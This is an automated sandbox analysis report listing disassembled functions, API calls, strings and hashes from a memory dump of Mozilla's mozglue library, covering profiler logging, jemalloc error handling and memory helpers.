Instruction Fuzzy Hash: 6CF06D3160C218CBDB10DF6A940D3A977B8EB5A27CFE00219D91193E81D730984887EA

Function 6C91F1B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F1E0
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F1ED
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F212
GetCurrentThreadId.KERNEL32 ref: 6C91F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F231
GetCurrentThreadId.KERNEL32 ref: 6C91F2AE
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F2BB
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F2F8
GetCurrentThreadId.KERNEL32 ref: 6C91F350
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F35D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F381
GetCurrentThreadId.KERNEL32 ref: 6C91F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F3A0
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F3CF
GetCurrentThreadId.KERNEL32 ref: 6C91F440
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F44D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F472
GetCurrentThreadId.KERNEL32 ref: 6C91F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F491

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F248

Part of subcall function 6C91F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F4A8
GetCurrentThreadId.KERNEL32 ref: 6C91F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F561
GetCurrentThreadId.KERNEL32 ref: 6C91F577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F585
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F5A3

Strings

KpT{/, xrefs: 6C91F07C, 6C91F1BA, 6C91F32A, 6C91F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C91F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C91F56A
[I %d/%d] profiler_resume, xrefs: 6C91F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C91F3A8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$_getpid$?profiler_time@baseprofiler@mozilla@@Timegetenv$ProcessStampV01@@Value@mozilla@@$Init_thread_footerNow@Stamp@mozilla@@TerminateV12@___acrt_iob_func__stdio_common_vfprintf
String ID: KpT{/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 1267287048-2488460804
Opcode ID: a9cee6d0a09c5e7c50a7b0ba0d16c6251870199d2119c68518baa978a9a87f4e
Instruction ID: 2e03f6afd6a318f1cc932a3612855cba40cec625eeb9058e063c06775871b715
Opcode Fuzzy Hash: a9cee6d0a09c5e7c50a7b0ba0d16c6251870199d2119c68518baa978a9a87f4e
Instruction Fuzzy Hash: 8BF0903171C218CBDF00DF6994093A977B4AB5A37CFE00619DD5193E81D7709849C7E6

Function 6C91EF80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91EFB0
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EFBD
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EFE1
GetCurrentThreadId.KERNEL32 ref: 6C91EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F000
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F02F

Part of subcall function 6C91F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Strings

KpT{/, xrefs: 6C91EF8A
[I %d/%d] profiler_stop, xrefs: 6C91EED7
[I %d/%d] profiler_pause, xrefs: 6C91F008

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentTimegetenv$ExclusiveLockProcessStampThreadV01@@Value@mozilla@@$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@__getpid
String ID: KpT{/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 2885066631-113363248
Opcode ID: 7655b0371cebfef8e49da5346cca6994efafbf531664c40c566ef78ba121dd59
Instruction ID: 36bf33eceb567a906a45e9276be25dcab30cb8ab1bbfeea8d01c0981faab5b1e
Opcode Fuzzy Hash: 7655b0371cebfef8e49da5346cca6994efafbf531664c40c566ef78ba121dd59
Instruction Fuzzy Hash: 33F0903160C218CFDB00DF65D40D3A5B7B4AB4A37CFE00119D91183E81D7349458CBA6

Function 6C91F320 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F350
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F35D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F381
GetCurrentThreadId.KERNEL32 ref: 6C91F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F3A0
GetCurrentThreadId.KERNEL32 ref: 6C91F440
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F44D
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F472
GetCurrentThreadId.KERNEL32 ref: 6C91F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F3CF

Part of subcall function 6C91F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C91F09B
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C91F0AC
Part of subcall function 6C91F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C91F0BE

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C91F4A8

Part of subcall function 6C91F070: GetCurrentThreadId.KERNEL32 ref: 6C91F1E0
Part of subcall function 6C91F070: AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F1ED
Part of subcall function 6C91F070: ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F212

GetCurrentThreadId.KERNEL32 ref: 6C91F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F561
GetCurrentThreadId.KERNEL32 ref: 6C91F577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F585
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F5A3

Strings

KpT{/, xrefs: 6C91F07C, 6C91F1BA, 6C91F32A, 6C91F41A
[I %d/%d] profiler_resume_sampling, xrefs: 6C91F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C91F56A
[I %d/%d] profiler_resume, xrefs: 6C91F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C91F3A8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$Time_getpidgetenv$?profiler_time@baseprofiler@mozilla@@ProcessStampV01@@Value@mozilla@@$Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: KpT{/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 1973876441-2488460804
Opcode ID: 7655b0371cebfef8e49da5346cca6994efafbf531664c40c566ef78ba121dd59
Instruction ID: db3a64ce967cc751791c7c245c59f57e21ac5693d13aeccb3985d9b1a25972c0
Opcode Fuzzy Hash: 7655b0371cebfef8e49da5346cca6994efafbf531664c40c566ef78ba121dd59
Instruction Fuzzy Hash: 6CF0903160C208CBDB00DF65D4093A9B7B4EB5A37CFE00119E91183E81D7349449CBA6

Function 6C90CBE8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Strings

<jemalloc>, xrefs: 6C90CFFC
: (malloc) Error in VirtualFree(), xrefs: 6C90D001

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2429186680-2186867486
Opcode ID: 2b28ab0c5e27f4117dff94150e80b91132e367cc2a24a591c1057f07682159d5
Instruction ID: 2efb6e2c4abce17c7cd3d8833581b053776e2025eda7030741c7ea0d4f678cba
Opcode Fuzzy Hash: 2b28ab0c5e27f4117dff94150e80b91132e367cc2a24a591c1057f07682159d5
Instruction Fuzzy Hash: 4CB092706083089BDB112BA4D80DB093B7CB709A01F940828A60182241CBBAA1008EA1

Function 6C8E2272 Relevance: 6.6, APIs: 5, Instructions: 360COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8E237F
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C8E2B9C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 346ab242f638d12cbf4a3831f828d7db024698abf3bd90d7e1bfe29e10f7fdf6
Instruction ID: 504368a1919b56b6dc67bbe32ae4c816fff521f9607b6e681de6ae0a322debc4
Opcode Fuzzy Hash: 346ab242f638d12cbf4a3831f828d7db024698abf3bd90d7e1bfe29e10f7fdf6
Instruction Fuzzy Hash: BBE19E71A002069FCB28CF59CAD4A9EBBB2FF8D314F198568E9095B705D375EC85CB90

Function 6C929120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C928242,?,00000000,?,6C91B63F), ref: 6C929188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C928242,?,00000000,?,6C91B63F), ref: 6C9291BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6C928242,?,00000000,?,6C91B63F), ref: 6C9291EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C928242,?,00000000,?,6C91B63F), ref: 6C929200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C928242,?,00000000,?,6C91B63F), ref: 6C929219

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: b410fad83505b6d448f57c9cdd500233c810b2b37e2f797dd689e968f5f711ad
Instruction ID: ca6b9a64f4e7bbfeacd15078a45f33d86fb765c25cb7f5aab144da6b9ea594df
Opcode Fuzzy Hash: b410fad83505b6d448f57c9cdd500233c810b2b37e2f797dd689e968f5f711ad
Instruction Fuzzy Hash: F2314531A106058FEF10DF78DC4476A73E9EF85324F664639D89AD7644EB34E908CBA1

Function 6C92CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92CDA4

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

Part of subcall function 6C92D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C92CDBA,00100000,?,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92D158
Part of subcall function 6C92D130: InitializeConditionVariable.KERNEL32(00000098,?,6C92CDBA,00100000,?,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92CDC4

Part of subcall function 6C927480: ReleaseSRWLockExclusive.KERNEL32(?,6C9315FC,?,?,?,?,6C9315FC,?), ref: 6C9274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92CECC

Part of subcall function 6C8ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C8ECAA2

Part of subcall function 6C91CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C92CEEA,?,?,?,?,00000000,?,6C91DA31,00100000,?,?,00000000), ref: 6C91CB57
Part of subcall function 6C91CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C91CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C92CEEA,?,?), ref: 6C91CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C91DA31,00100000,?,?,00000000,?), ref: 6C92D058

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 63802ca7310a8be65b9a12196d88a7d44d6f060857b55cc0899ccc3af7fd5441
Instruction ID: b59f7bd87fd1b2d6d29e379f8fdd8eba6b9160e1ef194df04bd1c40096e36361
Opcode Fuzzy Hash: 63802ca7310a8be65b9a12196d88a7d44d6f060857b55cc0899ccc3af7fd5441
Instruction Fuzzy Hash: 5BD18E71A14B069FD718CF28C4807A9F7E1BF99308F01862DD89987756EB31E9A5CB81

Function 6C8D73A0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,6C8E9D70,?,?,?), ref: 6C8D748D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000000,?,?,?,?,?,?,?,?,?,00000000,?,6C8E9D70,?,?), ref: 6C8D7499
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,6C8E9D70,?,?,?,00000000), ref: 6C8D75CA

Strings

KpT{/, xrefs: 6C8D73AF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$calloc
String ID: KpT{/
API String ID: 3095843317-2391877073
Opcode ID: 5b7375a6f688b2f571034d1cfa0c728d260414fb4608a42f69399176cf8eeabf
Instruction ID: 63a325d30037f9cd9882bd3812a30e64ac7fdc50bea69bf7be9e4b01d7547eac
Opcode Fuzzy Hash: 5b7375a6f688b2f571034d1cfa0c728d260414fb4608a42f69399176cf8eeabf
Instruction Fuzzy Hash: B291E3B1B04A12AFD718CF3CD981656B7B1FF55308F454A2CE9198BA45E730F864CB91

Function 6C914F70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 165stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C91501B
memcpy.VCRUNTIME140(?,?,00000200), ref: 6C91515B

Strings

KpT{/, xrefs: 6C914F81
..., xrefs: 6C91513A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: memcpystrlen
String ID: ...$KpT{/
API String ID: 3412268980-197847766
Opcode ID: 14d475120cf8550fd75bac57d2632a1113233c3032f59cb74d3415395d601520
Instruction ID: a1187b3c8abf9ae5f05d87046d5583669e584ca0507b8f8f0afe5f50f44feb19
Opcode Fuzzy Hash: 14d475120cf8550fd75bac57d2632a1113233c3032f59cb74d3415395d601520
Instruction Fuzzy Hash: 846180B0A0834ADFD700CF18D581A5BBBE5AF9930CF04896DE48997B51E731E919CB93

Function 6C8F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C8F5D40
EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67
__aulldiv.LIBCMT ref: 6C8F5DB4
LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8F5DED

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7fcf393b718517e289bea90c7e98bbdc53bafc4692d601e6b79b0b591e899a6d
Instruction ID: 0143ff8bdb969ad66632d66b080df9bdb572ad49e216b899f92b6a77a04ecccc
Opcode Fuzzy Hash: 7fcf393b718517e289bea90c7e98bbdc53bafc4692d601e6b79b0b591e899a6d
Instruction Fuzzy Hash: A0519371E062198FCF18DF68C954ABEBBB1FB85318F698A2DC851A7750C7306946CBD0

Function 6C937170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C937250
EnterCriticalSection.KERNEL32(6C95F688), ref: 6C937277
__aulldiv.LIBCMT ref: 6C9372C4
LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C9372F7

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 68603cd630495748cc1356d144c30d2cf8c09d0a289df319984f5fa8dbb6a3a6
Instruction ID: 2bc74d128a97cfa8b61428d3460499c556ec62b6e399cc20e44c738e8f40bbaa
Opcode Fuzzy Hash: 68603cd630495748cc1356d144c30d2cf8c09d0a289df319984f5fa8dbb6a3a6
Instruction Fuzzy Hash: 15517E71E05129CFCF08CFA8C950ABEBBB1FB89318F698619D855B7790C731A945CB90

Function 6C8E4C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C8E4C2F
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C8E4C82
EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C8E4C89

Strings

KpT{/, xrefs: 6C8E4C0F, 6C8E544F
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C8E56E3
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8E54A3
MOZ_PROFILER_STARTUP, xrefs: 6C8E55E1
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8E548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8E5791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C8E5717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8E5724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8E54B9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C8E57AE
GeckoMain, xrefs: 6C8E5554, 6C8E55D5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8E5766
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8E57C5
